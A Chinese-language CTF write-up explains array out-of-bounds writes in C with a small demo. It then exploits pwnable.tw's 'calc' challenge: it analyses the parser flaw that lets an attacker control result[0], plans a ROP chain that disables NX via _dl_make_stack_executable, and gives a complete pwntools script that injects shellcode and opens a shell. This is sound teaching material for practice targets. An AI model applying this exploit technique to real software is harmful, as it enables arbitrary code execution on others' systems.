0x0 前言 数组越界访问是c程序常见的错误之一,由于c语言并不向Java等语言对数组下标有严格的检查,一旦出现越界,就有可能造成严重的后果。 看下边一个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #include  <stdio.h>  #include  <stdlib.h>  int  target = 0xdeadbeef ;int  main ()  {       int  a[20 ] = {0xdeadbeef };     int  index,value;     printf ("%x\n" ,a);     scanf ("%d%d" , &index, &value);     a[index] = value;     if  (target == 0x27 )         printf ("Congratulations!\n" );     else      {         printf ("try again.\n" );     }     return  0 ; } 
 
以32位为例
1 gcc -m32 Array-out-of-bounds.c -g0 -o 32 
 
栈空间
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 00:0000│ esp  0xffffcdb0 —▸ 0x8048634 ◂— and    eax, 0x642564 /* '%d%d' */ 01:0004│      0xffffcdb4 —▸ 0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0 02:0008│      0xffffcdb8 —▸ 0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0 03:000c│      0xffffcdbc ◂— 0x0 04:0010│      0xffffcdc0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c 05:0014│ eax  0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0 06:0018│      0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0 07:001c│      0xffffcdcc ◂— 0xdeadbeef 08:0020│      0xffffcdd0 ◂— 0x0 ... ↓ 1b:006c│ edi  0xffffce1c ◂— 0xc4907500 1c:0070│      0xffffce20 —▸ 0xffffce40 ◂— 0x1 1d:0074│      0xffffce24 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0 1e:0078│ ebp  0xffffce28 ◂— 0x0 1f:007c│      0xffffce2c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add    esp, 0x10 
 
此时我们可以看到a的地址为0xffffcdcc而内存访问数组的方法是
1 2 3 4 0x8048549 <main+94>     add    esp, 0x10 0x804854c <main+97>     mov    eax, dword ptr [ebp - 0x64] 0x804854f <main+100>    mov    edx, dword ptr [ebp - 0x60] 0x8048552 <main+103>    mov    dword ptr [ebp + eax*4 - 0x5c], edx 
 
即 ebp-0x5c为a的地址,再加上eax也就是索引乘4,如果我们要修改target的值
1 2 pwndbg> p/x &target $3 = 0x804a028 
 
即0xffffcdcc + eax * 4  == 0x804a028解方程。 我们因为是32位,所以我们可以把这个方程看成
1 (0xffffcdcc + eax * 4) & 0xffffffff  == 0x804a028 
 
因为有很多值,我们就取一个
1 2 In [5 ]: (0x10804a028 -0xffffcdcc )/4  Out[5 ]: 0x2013497  
 
成功修改
1 2 pwndbg> p/x target $6 = 0x27 
 
退出gdb
1 2 3 4 ➜  Array-out-of-bounds ./32           ffd8e7fc 34270731 39 Congratulations! 
 
接下来通过pwnable.tw的一道calc实战一下
0x1 pwnable.tw-calc nc连上去看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ➜  ~ nc chall.pwnable.tw 10100 === Welcome to SECPROG calculator === 1+3 4 1-3 -2 2+-2 expression error! -2+2 2 0+0 prevent division by zero -0+1 prevent division by zero +1+1 2 +5-7 -7 Merry Christmas! 
 
随便输入点什么,可以看到有些奇怪的输出。 打开ida加载分析一下、逻辑很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 unsigned  int  calc ()  {  int  result[101 ];    char  expr;    unsigned  int  v3;    v3 = __readgsdword(0x14 u);   while  ( 1  )   {     bzero(&expr, 0x400 u);     if  ( !get_expr((int )&expr, 1024 ) )       break ;     init_pool(result);     if  ( parse_expr(&expr, result) )     {       printf (("%d\n" , result[result[0 ] - 1  + 1 ]);       fflush(stdout );     }   }   return  __readgsdword(0x14 u) ^ v3; } 
 
主要就是这个calc的函数,可以看到一开始读了canary到栈里,然后从命令行读一行字符串然后调用parse_expr来计算,结果放在result[size - 1]处。get_expr的逻辑就是一个字符一个字符读到s里并过滤掉除[0-9]*+-\%的字符。init_pool这个函数初始化了一段大小为100*4内存空间。暂时不知道干什么用的,不过通过calc的那个printf可以推断出这里边放有计算的结果。parse_expr首先是个for循环对输入的表达式进行遍历。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 v9 = atoi(tmp_num);     if  ( v9 > 0  )     {       v4 = (*result)++;                   result[v4 + 1 ] = v9;     }     if  ( expr[i] && (unsigned  int )(expr[i + 1 ] - '0' ) > 9  )     {       puts ("expression error!" );       fflush(stdout );       return  0 ;     }     num_start = &expr[i + 1 ];     if  ( s[v7] )     {       switch  ( expr[i] )       {         case  '%' :         case  '*' :         case  '/' :           if  ( s[v7] != '+'  && s[v7] != '-'  )           {             eval(result, s[v7]);             s[v7] = expr[i];           }           else            {             s[++v7] = expr[i];           }           break ;         case  '+' :         case  '-' :           eval(result, s[v7]);           s[v7] = expr[i];           break ;         default :           eval(result, s[v7--]);           break ;       }     }     else      {       s[v7] = expr[i];     } 
 
result为数字栈,s为符号栈,result[0]保存当前数字栈里的数字的个数。通过一个switch来判断符号类型,确定运算顺序,最后一个while从右向左计算表达式。
1 2 while  ( v7 >= 0  )  eval(result, s[v7--]); 
 
通过eval函数计算表达式,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int  *__cdecl eval (int  *result, char  a2)   {  int  *a3;    if  ( a2 == '+'  )   {     result[*result - 1 ] += result[*result];   }   else  if  ( a2 > '+'  )   {     if  ( a2 == '-'  )     {       result[*result - 1 ] -= result[*result];     }     else  if  ( a2 == '/'  )     {       result[*result - 1 ] /= result[*result];     }   }   else  if  ( a2 == '*'  )   {     result[*result - 1 ] *= result[*result];   }   a3 = result;   --*result;   return  a3; } 
 
我们可以看到在eval函数中,因为没有检查result[0]的值,如果我们能够控制result[0]的值,我们就可以造成任意地址的写入,绕过canary修改返回地址形成栈溢出。而且在函数calc中,如果我们能控制result[0]就可以通过printf("%d\n", result[result[0] - 1 + 1]);读取任意地址。 那么我们如何在能控制result[0]的值呢,考虑我们在nc时的输入,发现在输入由符号开始的表达式时,如+20因为第一个字符为符号+而只有一个数字,那么在这样的情况下执行eval时,result[*result - 1] += result[*result];就会变成result[1-1]+=result[1];成功控制了result[0]的值。
0x2 攻击流程 我们首先利用数组越界造成的任意地址读写,将__stack_prot改成0x7 ,接着构造ROP链,使其执行_dl_make_stack_executable<__libc_stack_end>(注意这里的__libc_stack_end在eax内),就能关闭NX保护,然后我们就利用jmp esp或者call esp劫持eip到栈上从而getshell。
0x3 exp exp exp.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from  pwn import  *filename = "./calc"  context.binary = filename elf = ELF(filename) if  args.A:    p = remote('chall.pwnable.tw' ,10100 ) else :    p = process(filename)     context.log_level = 'debug'  stack_addr = None  pop_eax = 0x0805c34b   jmp_esp = 0x080e3f63   def  g (cmd=None) :    gdb.attach(p,cmd) def  w (offset,value) :    offset = str(offset)     p.sendline("+" +offset)     orgin = int(p.recvuntil('\n' )[:-1 ])     if  value - orgin >= 0x7fffffff :                  value = unpack( pack(value),'all' ,sign=True )         value = -(orgin - value)     else :         value -= orgin     p.sendline("+"  + offset + ('+'  if  value > 0  else  '-' ) + str(abs(value)))     p.recvuntil('\n' ) def  get_stack_addr () :    global  stack_addr     p.sendline("+360" )     orgin = int(p.recvuntil('\n' )[:-1 ])     stack_addr = u32(pack(orgin-1472 ))     log.info("get offset_base: %#x"  % stack_addr)     def  exp () :    p.recvuntil("===\n" )     get_stack_addr()          z = (0x1080ebfec  - (stack_addr))/4      log.info("__stack_prot offset: %#x"  % z)     p.sendline('+%d-%d'  % (z,0xfffff9 ))     p.recvuntil('\n' )     w(361 ,pop_eax)     w(362 ,elf.sym['__libc_stack_end' ])     w(363 ,elf.sym['_dl_make_stack_executable' ])             w(364 ,jmp_esp)     shellcode = asm(shellcraft.sh())     shellcode = [u32(shellcode[x:x+4 ]) for  x in  range(0 ,len(shellcode),4 )]     for  _ in  range(0 ,len(shellcode)):         w(365 +_, shellcode[_])              p.send('\n' )     p.interactive() if  __name__ == "__main__" :    exp() 
 
注意因为atoi会将超过0x7ffffffff的数转换为0x7fffffff,所以写exp的时候要注意。